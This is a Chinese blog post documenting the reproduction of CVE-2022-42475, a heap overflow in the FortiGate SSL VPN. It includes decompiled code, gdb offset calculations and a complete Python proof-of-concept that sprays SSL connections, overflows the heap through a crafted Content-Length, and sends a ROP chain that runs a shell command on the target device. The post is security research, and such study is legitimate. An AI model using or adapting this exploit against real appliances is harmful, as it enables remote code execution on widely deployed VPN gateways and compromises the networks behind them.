前言

之前就想复现这个洞,不过因为环境的问题迟迟没有开工。巧在前一阵子有个师傅来找我讨论劫持 ssl结构体中函数指针时如何确定堆溢出的偏移,同时还他把搭建好了的环境发给了我,因此才有了此文。

如何劫持SSL结构体指针实现控制程序流

就我个人理解而言,我觉得劫持的这个函数指针类似于我们常见的 __malloc_hook,__free_hook。它本身的值为空,当他不为空时,便会调用这个函数指针。如果我们把这个函数指针劫持为合适的 gadget便可以控制程序的执行流。相关代码如下:

__int64 __fastcall debug_2nd_control(__int64 a1, char a2)
{
...
if ( v9 )
{
result = v8 + 96;
if ( v9 != v8 + 96 )
{
v10 = *(__int64 (__fastcall **)(__int64))(v9 + 192);
if ( v10 )
return v10(a1);
...
} .text:000000000180C180 48 8B 82 C0 00 00 00 mov rax, [rdx+0C0h]
.text:000000000180C187 4C 89 EF mov rdi, r13
.text:000000000180C18A 48 85 C0 test rax, rax
.text:000000000180C18D 0F 84 85 00 00 00 jz loc_180C218
.text:000000000180C193 5B pop rbx
.text:000000000180C194 41 5C pop r12
.text:000000000180C196 41 5D pop r13
.text:000000000180C198 41 5E pop r14
.text:000000000180C19A 5D pop rbp
.text:000000000180C19B FF E0 jmp rax

漏洞点

从下面的汇编中可知,这里分配的大小是由 movsxd rsi, esi,直接从4字节扩展为了8字节,如果我们把大小控制为0x1b00000000,这样就会导致分配并初始化的大小为 1,从而产生堆溢出。利用手法是,在堆上大量喷射 SSL结构体,从而劫持其中对应的函数指针。

0000000001811174 8B 40 18        mov     eax, [rax+18h]  ; Keypatch modified this from:
0000000001811174 ; nop word ptr [rax+rax+00000000h]
0000000001811174 ; Keypatch padded NOP to next boundary: 8 bytes
0000000001811177 49 8B 3C 24 mov rdi, [r12] ; Keypatch modified this from:
000000000181117B E9 86 02 00 00 jmp loc_1811406 0000000001811406 8D 70 01 lea esi, [rax+1] ; Keypatch modified this from:
0000000001811409 E9 96 01 00 00 jmp loc_18115A4 00000000018115A4 48 63 F6 movsxd rsi, esi ; Keypatch modified this from:
00000000018115A7 E9 88 FB FF FF jmp loc_1811134 0000000001811134 E8 27 0A EC FF call alloc__

如何确定填充数量

网上已经有文章(https://forum.butian.net/index.php/share/2166)给出了一个可劫持到函数指针的poc。我们这里就直接用了他这种布局,重点记录一下如何找到这个填充的数量。对于这个固件而言,ssl结构体初始化时,我们可以看到如下的代码。很明显可以看到,他会把字符串 read_post_data拷贝到距离结构体偏移为 200的地方。而根据上面的代码可知,我们要劫持的函数指针在结构体偏移为 192的地方。故我们只需定位到 read_post_data,即可确定偏移。

sub_181BC20(a2, "read_post_data", 0, 1, (__int64)sslvpnd_read_post_data);

char *__fastcall sub_181BC20(__int64 *a1, const char *str, int a3, int a4, __int64 a5)
{
...
strLen = strlen(str);
v8 = alloc__(*a1, strLen + 201);
v9 = (__int64)v8;
if ( v8 )
{
*(_QWORD *)v8 = v8;
*((_QWORD *)v8 + 1) = v8;
v10 = &v8[32 * a3];
*((_DWORD *)v10 + 6) = a4;
*((_DWORD *)v10 + 7) = a4;
if ( (a4 & 1) != 0 )
{
*(_QWORD *)(32LL * a3 + v9 + 32) = a5;
}
else if ( (a4 & 4) != 0 )
{
*(_QWORD *)(32LL * a3 + v9 + 40) = a5;
}
strcpy((char *)(v9 + 200), str);
...
}

调试时内存分布如下,有 0x2638-0x1818 = 0xE20 = 3616

(gdb) i r $rdi
rdi 0x7f6edef01818 140114163406872
(gdb) x/10gx 0x7f6edef01818
0x7f6edef01818: 0x0000000000000000 0x0000000000000000
0x7f6edef01828: 0x0000000000000000 0x0000000000000000
0x7f6edef01838: 0x0000000000000000 0x0000000000000000
0x7f6edef01848: 0x0000000000000000 0x0000000000000000
0x7f6edef01858: 0x0000000000000000 0x0000000000000000
(gdb) x/10gx 0x7f6edef02638
0x7f6edef02638: 0x0000000000000000 0x736f705f64616572
0x7f6edef02648: 0x0000617461645f74 0x0000000000000000
0x7f6edef02658: 0x0000000000000000 0x0000000000000000
0x7f6edef02668: 0x0000000000000000 0x0000000000000000
0x7f6edef02678: 0x0000000000000000 0x0000000000000000
(gdb) x/s 0x7f6edef02640
0x7f6edef02640: "read_post_data"

poc

import struct
import socket
import ssl p64 = lambda x: struct.pack("<Q", x) path = "/remote/login".encode() ip = "192.168.229.162"
port = 4443 def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, port))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
return _socket socks = [] for i in range(60):
sk = create_ssl_ctx()
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
sk.sendall(data)
socks.append(sk) for i in range(20, 40, 2):
sk = socks[i]
sk.close()
socks[i] = None CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nf=1" exp_sk = create_ssl_ctx() for i in range(20):
sk = create_ssl_ctx()
socks.append(sk) exp_sk.sendall(data) payload = b"b" * (3613-0xc0)
payload+= p64(0)
payload+= p64(0x19de70a)
# 0x00000000019de70a : pop r12 ; pop r13 ; pop rbp ; ret
payload+= p64(0x100)*3
payload+= p64(0x1855c29)
# 0x0000000001855c29 : add rdx, r8 ; mov byte ptr [rdx], 0 ; ret
payload+= p64(0x1fe54ad)
# 0x0000000001fe54ad : pop rbp ; mov rax, rdx ; ret
payload+= p64(0x30)
payload+= p64(0x18cfb70)
# 0x00000000018cfb70 : lea rdi, [rax - 0x28] ; call qword ptr [rax + 0x30]
payload+= p64(0x40)*(24-9) payload+= p64(0x1d3379c) # rip
# push rdx ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
payload+= p64(0x736f705f64616572)
payload+= p64(0x0000617461645f74)
cmd = b"busybox ls > /tmp/hack"
cmd = cmd.ljust(11*0x8, b'\x00')
payload+= cmd
payload+= p64(0x43FDF0) exp_sk.sendall(payload) for sk in socks:
if sk:
data = b"b" * 40
sk.sendall(data) print("done")

参考链接

https://forum.butian.net/index.php/share/2166

https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html

https://wzt.ac.cn/2022/12/15/CVE-2022-42475/

https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

CVE-2022-42475-FortiGate-SSLVPN HeapOverflow 学习记录的更多相关文章

  1. Java学习记录:2022年1月13日(其二)

    Java学习记录:2022年1月13日(其二) ​ 摘要:本篇笔记主要记录了在设计类时的一些注意事项,类加载时类中各个部分的加载顺序以及继承和多态的知识. 目录 Java学习记录:2022年1月13日 ...

  2. Quartz 学习记录1

    原因 公司有一些批量定时任务可能需要在夜间执行,用的是quartz和spring batch两个框架.quartz是个定时任务框架,spring batch是个批处理框架. 虽然我自己的小玩意儿平时不 ...

  3. Java 静态内部类与非静态内部类 学习记录.

    目的 为什么会有这篇文章呢,是因为我在学习各种框架的时候发现很多框架都用到了这些内部类的小技巧,虽然我平时写代码的时候基本不用,但是看别人代码的话至少要了解基本知识吧,另外到底内部类应该应用在哪些场合 ...

  4. Apache Shiro 学习记录4

    今天看了教程的第三章...是关于授权的......和以前一样.....自己也研究了下....我觉得看那篇教程怎么说呢.....总体上是为数不多的精品教程了吧....但是有些地方确实是讲的太少了.... ...

  5. UWP学习记录12-应用到应用的通信

    UWP学习记录12-应用到应用的通信 1.应用间通信 “共享”合约是用户可以在应用之间快速交换数据的一种方式. 例如,用户可能希望使用社交网络应用与其好友共享网页,或者将链接保存在笔记应用中以供日后参 ...

  6. UWP学习记录11-设计和UI

    UWP学习记录11-设计和UI 1.输入和设备 通用 Windows 平台 (UWP) 中的用户交互组合了输入和输出源(例如鼠标.键盘.笔.触摸.触摸板.语音.Cortana.控制器.手势.注视等)以 ...

  7. UWP学习记录10-设计和UI之控件和模式7

    UWP学习记录10-设计和UI之控件和模式7 1.导航控件 Hub,中心控件,利用它你可以将应用内容整理到不同但又相关的区域或类别中. 中心的各个区域可按首选顺序遍历,并且可用作更具体体验的起始点. ...

  8. UWP学习记录9-设计和UI之控件和模式6

    UWP学习记录9-设计和UI之控件和模式6 1.图形和墨迹 InkCanvas是接收和显示墨迹笔划的控件,是新增的比较复杂的控件,这里先不深入. 而形状(Shape)则是可以显示的各种保留模式图形对象 ...

  9. UWP学习记录8-设计和UI之控件和模式5

    UWP学习记录8-设计和UI之控件和模式5 1.日历.日期和时间控件 日期和时间控件提供了标准的本地化方法,可供用户在应用中查看并设置日期和时间值. 有四个日期和时间控件可供选择,选择的依据如下: 日 ...

  10. UWP学习记录7-设计和UI之控件和模式4

    UWP学习记录7-设计和UI之控件和模式4 1.翻转视图 使用翻转视图浏览集合中的图像或其他项目(例如相册中的照片或产品详细信息页中的项目),一次显示一个项目. 对于触摸设备,轻扫某个项将在整个集合中 ...

随机推荐

  1. Node 调试利器,前端、Node 开发必备 - VSCode JS Debug Terminal

    经常看到有同学抱怨 Node 调试麻烦或者是搞不清怎么调试各种脚本.Jest.Webpack 等等,而偶尔看到的调试相关的文章又全都是在写 inspect.launch.json 这些方案,其实有一定 ...

  2. Charles抓包补充解释

    配置 大佬的博客真的很详细很详细,我就不重复造轮子了,第一次直接看大佬的博客就好,这里Python爬取微信小程序(Charles) 补充解释 在这一步疑问很多,大佬说的不是很详细,就由我来补充下吧~ ...

  3. 深度解析 slab 内存池回收内存以及销毁全流程

    在上篇文章 <深入理解 slab cache 内存分配全链路实现> 中,笔者详细地为大家介绍了 slab cache 进行内存分配的整个链路实现,本文我们就来到了 slab cache 最 ...

  4. Ado.Net 数据库访问技术(.Net 6版本)

    1. ADO.NET的前世今生 ADO.NET的名称起源于ADO(ActiveX Data Objects),是一个COM组件库,用于在以往的Microsoft技术中访问数据.之所以使用ADO.NET ...

  5. 【Python入门教程】获取图片可视化精准定位(逆地理编码)

    ​ 使用exifread库读取图片的经纬度信息(WGS84坐标) 使用高德开放API将经纬度转为高德底图经纬度,并输出具体位置 使用folium库,以高德底图为基准,在网页上可视化显示地图和兴趣点 一 ...

  6. Python获取系统当前时间并进行类型转换

    # 1.使用Python获取系统当前时间print('---------下面是方法1-----------')import timeprint(time.strftime('%Y-%m-%d %H:% ...

  7. 使用React和Redux进行前端应用程序:现代Web应用程序框架

    目录 标题:<27. 使用 React 和 Redux 进行前端应用程序:现代 Web 应用程序框架> 背景介绍: 随着现代 Web 应用程序的发展,前端开发人员需要一种高效的.灵活的框架 ...

  8. Unity的AssetPostprocessor之Model:深入解析与实用案例 2

    Unity AssetPostprocessor中Model相关函数的实际应用 Unity AssetPostprocessor是Unity引擎中的一个重要功能,它可以在导入资源时自动一些脚本,以便对 ...

  9. VSCode设置第三方字体

    最近需要写C,所以下了一个VSCode IDE嘛 当然是美观最重要了(不是 个人比较喜欢JetBrains家的字体 在IDEA中主要使用的是 JetBrains Mono 想着把VSCode的字体也设 ...

  10. Day14_Java_作业

    编程题: 1:获取10个1-20之间的随机数,要求不能重复 答: package StudentWork; import java.util.ArrayList; /** * * 需求: 1:获取10 ...